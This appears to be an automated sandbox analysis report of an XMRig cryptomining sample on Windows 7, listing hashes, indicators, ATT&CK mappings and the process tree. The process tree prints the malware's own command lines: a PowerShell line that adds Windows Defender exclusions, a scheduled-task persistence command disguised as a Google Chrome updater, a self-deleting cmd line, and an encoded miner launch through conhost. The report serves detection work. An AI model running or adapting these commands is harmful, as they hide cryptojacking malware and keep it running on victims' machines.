xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
462s
max time network
1800s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2656 created 1204	2656	M8xUNW42QxTLMRXN.exe	6
PID 2656 created 1204	2656	M8xUNW42QxTLMRXN.exe	6
PID 2656 created 1204	2656	M8xUNW42QxTLMRXN.exe	6
PID 2656 created 1204	2656	M8xUNW42QxTLMRXN.exe	6
PID 2988 created 1204	2988	updater.exe	6
PID 2988 created 1204	2988	updater.exe	6
PID 2988 created 1204	2988	updater.exe	6
PID 2988 created 1204	2988	updater.exe	6
PID 1604 created 1204	1604	conhost.exe	6
PID 2988 created 1204	2988	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral19/memory/1980-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1980-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2732	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2988	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2160	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/1980-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1980-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2988 set thread context of 1604	2988	updater.exe	53
PID 2988 set thread context of 1980	2988	updater.exe	48

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	M8xUNW42QxTLMRXN.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2816	schtasks.exe
2948	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
632	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0e363d3b94fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2656	M8xUNW42QxTLMRXN.exe
2656	M8xUNW42QxTLMRXN.exe
2076	powershell.exe
2656	M8xUNW42QxTLMRXN.exe
2656	M8xUNW42QxTLMRXN.exe
2692	powershell.exe
2656	M8xUNW42QxTLMRXN.exe
2656	M8xUNW42QxTLMRXN.exe
2656	M8xUNW42QxTLMRXN.exe
2656	M8xUNW42QxTLMRXN.exe
2288	powershell.exe
2988	updater.exe
2988	updater.exe
1264	powershell.exe
2988	updater.exe
2988	updater.exe
2784	powershell.exe
2988	updater.exe
2988	updater.exe
2988	updater.exe
2988	updater.exe
1604	conhost.exe
1604	conhost.exe
2988	updater.exe
2988	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2988	updater.exe
Token: SeAssignPrimaryTokenPrivilege	632	WMIC.exe
Token: SeIncreaseQuotaPrivilege	632	WMIC.exe
Token: SeSecurityPrivilege	632	WMIC.exe
Token: SeTakeOwnershipPrivilege	632	WMIC.exe
Token: SeLoadDriverPrivilege	632	WMIC.exe
Token: SeSystemtimePrivilege	632	WMIC.exe
Token: SeBackupPrivilege	632	WMIC.exe
Token: SeRestorePrivilege	632	WMIC.exe
Token: SeShutdownPrivilege	632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	632	WMIC.exe
Token: SeUndockPrivilege	632	WMIC.exe
Token: SeManageVolumePrivilege	632	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	632	WMIC.exe
Token: SeIncreaseQuotaPrivilege	632	WMIC.exe
Token: SeSecurityPrivilege	632	WMIC.exe
Token: SeTakeOwnershipPrivilege	632	WMIC.exe
Token: SeLoadDriverPrivilege	632	WMIC.exe
Token: SeSystemtimePrivilege	632	WMIC.exe
Token: SeBackupPrivilege	632	WMIC.exe
Token: SeRestorePrivilege	632	WMIC.exe
Token: SeShutdownPrivilege	632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	632	WMIC.exe
Token: SeUndockPrivilege	632	WMIC.exe
Token: SeManageVolumePrivilege	632	WMIC.exe
Token: SeLockMemoryPrivilege	1980	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2816	2692	powershell.exe	32
PID 2692 wrote to memory of 2816	2692	powershell.exe	32
PID 2692 wrote to memory of 2816	2692	powershell.exe	32
PID 2732 wrote to memory of 2468	2732	cmd.exe	37
PID 2732 wrote to memory of 2468	2732	cmd.exe	37
PID 2732 wrote to memory of 2468	2732	cmd.exe	37
PID 2288 wrote to memory of 3048	2288	powershell.exe	38
PID 2288 wrote to memory of 3048	2288	powershell.exe	38
PID 2288 wrote to memory of 3048	2288	powershell.exe	38
PID 2160 wrote to memory of 2988	2160	taskeng.exe	40
PID 2160 wrote to memory of 2988	2160	taskeng.exe	40
PID 2160 wrote to memory of 2988	2160	taskeng.exe	40
PID 2784 wrote to memory of 2948	2784	powershell.exe	45
PID 2784 wrote to memory of 2948	2784	powershell.exe	45
PID 2784 wrote to memory of 2948	2784	powershell.exe	45
PID 2988 wrote to memory of 1604	2988	updater.exe	53
PID 2168 wrote to memory of 632	2168	cmd.exe	49
PID 2168 wrote to memory of 632	2168	cmd.exe	49
PID 2168 wrote to memory of 632	2168	cmd.exe	49
PID 2988 wrote to memory of 1980	2988	updater.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2816
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2948
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1980
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1528
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2168
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1604

C:\Windows\system32\taskeng.exe
taskeng.exe {ACF1A85A-9069-406D-85C6-3BFE5F21AC14} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2988

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 600KB
SHA256 1bb837f33555d54ed242e69623ec1d243cf61f0ab924f056ff2f05f51bca6649
MD5 e25c221eb932d12db2704b6827f9f3e4
SHA1 35f03936c7cd2992f8350f573d7df23a1a2bff3d
SHA512 37f0eb32a99f6c388d2f9e2049f360fa2c814af3514b29bb91625f341da9819ea1ffe1dc8399eded43355606168ad3d678c3d225168360032f8b3b915cf1afd9
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CBB:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iz
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 394KB
SHA256 d85da49a6f4e68bbf473ae6426563c0d6a7f54b236ff073be0e6c8a420eff08c
MD5 bc1ecb0d795a4c7650615eaf2433230e
SHA1 75a372c8682b9bd754b5d7b73bfae312f8174bcf
SHA512 a96e3039e590caebde2e589e13b98272d01afcb0482a1d4953b82ed8d4df9e4816aa9f6c8a9809ae31464aa4214e1b5d61a890cdc9c29b1ea550ce8ebe199d05
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTC:rWVipGdVZjdqVC5jd88FM
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 0d17a139b01c17255fc18b6bd7d53f6665bde25aea6424ea797eabf31e1e1e1b
MD5 bcdd70059dbb2f003d9fb6b2d877b2a9
SHA1 fc4eb9cf54ff9771765be6e1d64e26b197117d29
SHA512 3547b8debcafc366f9e87120153d9f44e7b2c1c4cdefb52229d37dc46e411e2cf7299ffc03ba972aedd5a3dd3a94f83361a6838b6ad316a0311edeb82a7c1216
SSDEEP 96:85aCNM8JnqvsqvJCwoGf/5aCNM8JnqvsEHyqvJCwor8fMV0pQHDj7SfXlUV9:kv1UoGfxv1AHnor8fM0uj7SfC
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 1.2MB
SHA256 e6cadf2047963c4fb0016ce872a8ee96e212f36b16f7cafff9e79151d93afc46
MD5 9925db818c0c389e4d640025b848ab3a
SHA1 44d573cbd213ca4bf795192038d23bf1b02ab935
SHA512 8ea96a6274991ad71bb29f0e38c802a1fad82643f6baba79f9c2d046847c31a48098b0ab9b9bda22892433b6539486c4cf4272153bc60953335606e75a3d5bc6
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavv3:rWVipAxqo5p88CbXuxWQiSJU320ZW21E
MD5 SHA1 SHA512 SSDEEP

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memory/1264-50-0x00000000014EB000-0x0000000001552000-memory.dmp

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memory/1264-51-0x00000000014E0000-0x0000000001560000-memory.dmp

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memory/1264-49-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

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memory/1264-48-0x00000000014E0000-0x0000000001560000-memory.dmp

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memory/1264-52-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

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memory/1264-47-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

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memory/1604-71-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1604-77-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1980-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-67-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-76-0x00000000007D0000-0x00000000007F0000-memory.dmp

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memory/1980-75-0x00000000005C0000-0x00000000005E0000-memory.dmp

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memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-70-0x00000000007D0000-0x00000000007F0000-memory.dmp

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memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-69-0x00000000005C0000-0x00000000005E0000-memory.dmp

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memory/1980-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-68-0x00000000001B0000-0x00000000001D0000-memory.dmp

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memory/1980-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1980-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2076-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

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memory/2076-8-0x0000000002680000-0x0000000002700000-memory.dmp

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memory/2076-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

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memory/2076-5-0x000000001B400000-0x000000001B6E2000-memory.dmp

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memory/2076-10-0x0000000002680000-0x0000000002700000-memory.dmp

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memory/2076-11-0x0000000002680000-0x0000000002700000-memory.dmp

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memory/2076-12-0x0000000002680000-0x0000000002700000-memory.dmp

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memory/2076-13-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

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memory/2076-6-0x0000000002650000-0x0000000002658000-memory.dmp

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memory/2288-36-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2288-41-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

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memory/2288-35-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

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memory/2288-37-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

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memory/2288-38-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2288-39-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2288-40-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2656-29-0x000000013F530000-0x000000013F741000-memory.dmp

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memory/2656-0-0x000000013F530000-0x000000013F741000-memory.dmp

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memory/2692-25-0x0000000002AB0000-0x0000000002B30000-memory.dmp

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memory/2692-23-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

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memory/2692-19-0x000000001B4B0000-0x000000001B792000-memory.dmp

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memory/2692-21-0x0000000002AB0000-0x0000000002B30000-memory.dmp

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memory/2692-22-0x0000000002190000-0x0000000002198000-memory.dmp

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memory/2692-20-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

